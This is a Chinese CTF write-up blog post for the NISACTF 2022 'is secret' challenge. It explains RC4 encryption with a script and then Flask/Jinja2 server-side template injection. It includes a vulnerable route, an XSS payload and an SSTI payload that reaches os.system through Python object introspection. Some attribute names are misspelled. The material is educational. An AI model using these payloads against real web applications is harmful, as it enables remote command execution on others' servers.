[NISACTF 2022]is secret

本题考点

1,RC4对称加密。

2,flask模板注入。

解题过程

打开题目什么也没发现啥有用的,查看源码也没什么发现。上网查了一下发现这道题时[CISCN 2019华东南]Double Secret原题。看了别人的wp,用御剑扫一下发现了/secret这个路径。页面内容为Tell me your secret.I will encrypt it so others can't see,猜测是GET型传参,试试/secret?secret=1,回显d,综合来看是对传入的secret进行了某种加密后回显。随便输入?secret=9358257814时,页面报错。

在报错页面发现了app.py的报错,点开有部分源码泄露

这段代码逻辑就是对传入的secret进行 RC4 加密,且密钥已知,safe()函数猜测是对恶意代码的过滤,然后用render_template_string()进行模板渲染。

render_template_string()函数

该函数用来渲染一个字符串,SSTI与render_template_string()函数密不可分,render_template_string函数在渲染模板的时候使用了%s来动态的替换字符串,在渲染的时候会把 {undefined{**}} 包裹的内容当做变量解析替换。这个渲染存在 flask 模板注入漏洞(SSTI)。

RC4加密

先来看看RC4加密解密,RC4(来自Rivest Cipher 4的缩写)是一种流加密算法,密钥长度可变。它加解密使用相同的密钥,因此也属于对称加密算法。所谓对称加密,就是加密和解密的过程是一样的。RC4加密原理很简单,只需要一个KeyStream与明文进行异或即可,密钥流的长度和明文的长度是对应的。RC4算法的的主要代码还是在于如何生成秘钥流
这里直接给出网上的脚本

复制代码
# RC4是一种对称加密算法,那么对密文进行再次加密就可以得到原来的明文

import base64
from urllib.parse import quote


def rc4_main(key="init_key", message="init_message"):
    # print("RC4加密主函数")
    s_box = rc4_init_sbox(key)
    crypt = str(rc4_excrypt(message, s_box))
    return crypt


def rc4_init_sbox(key):
    s_box = list(range(256))  # 我这里没管秘钥小于256的情况,小于256不断重复填充即可
    # print("原来的 s 盒:%s" % s_box)
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    # print("混乱后的 s 盒:%s"% s_box)
    return s_box


def rc4_excrypt(plain, box):
    # print("调用加密程序成功。")
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) ^ k))
    # print("res用于加密字符串,加密后是:%res" %res)
    cipher = "".join(res)
    print("加密后的字符串是:%s" % quote(cipher))
    # print("加密后的输出(经过编码):")
    # print(str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
    return str(base64.b64encode(cipher.encode('utf-8')), 'utf-8')


rc4_main("key", "text")
复制代码

flask的模板注入

render_template_string是用来渲染一个字符串的,不正确的使用flask中的render_template_string方法会引发SSTI

html = '<h1>This is index page</h1>'
return render_template_string(html)

XSS利用

存在漏洞的代码

复制代码
@app.route('/test/')
def test():
    code = request.args.get('id')
    html = '''
        <h3>%s</h3>
    '''%(code)
    return render_template_string(html)
复制代码

这段代码存在漏洞的原因是数据和代码的混淆。代码中的code是用户可控的,会和 html 拼接后直接带入渲染。尝试构造?code=<script>alert(1)</script>即可进行 xss 利用。将代码改为如下

@app.route('/test/')
def test():
    code = request.args.get('id')
    return render_template_string('<h1>{{ code }}</h1>',code=code)

js 代码会被原样输出,这是因为 flask 是使用 Jinja2 来作为渲染引擎的,在 Jinja2 模板引擎中,{{}}是变量包裹标识符。而模板引擎一般都默认对渲染的变量值进行编码转义,这样就不会存在 xss 了。在这段代码中用户所控的是code变量,而不是模板内容。但这样就完了吗?当然大no特no,模板注入并不局限于 xss,它还可以进行其他攻击!

Jinja2知识

控制结构 {% %}
变量取值 {{ }}
注释 {# #}

实行文件读写和命令执行的基本操作:获取基本类->获取基本类的子类->在子类中找到关于命令执行和文件读写的模块。本质就是通过python 的对象的继承来一步步实现文件读取和命令执行的。下面逐一介绍

复制代码
__class__:返回当前类。
__mor__:返回解析函数时,类的调用顺序。
通过索引的方式__mor__[2],就可返回 object 类。
__base__:返回当前类父类(以字符串的形式)。
__subclass__():返回当前类所有的子类,可通过索引的方式定位某一个子类。
__init__:类的初始化方法。

__globals__:对包含函数全局变量的字典的引用,所有的函数都会有一个__globals__属性,它会以一个 dict ,返回函数所在模块命名空间中的所有变量。
复制代码

命令执行

直接利用 os 模块

''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')

 参考链接:https://blog.csdn.net/qq_46266259/article/details/128920290

posted @   Ekusas  阅读(308)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· winform 绘制太阳,地球,月球 运作规律
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)
点击右上角即可分享
微信分享提示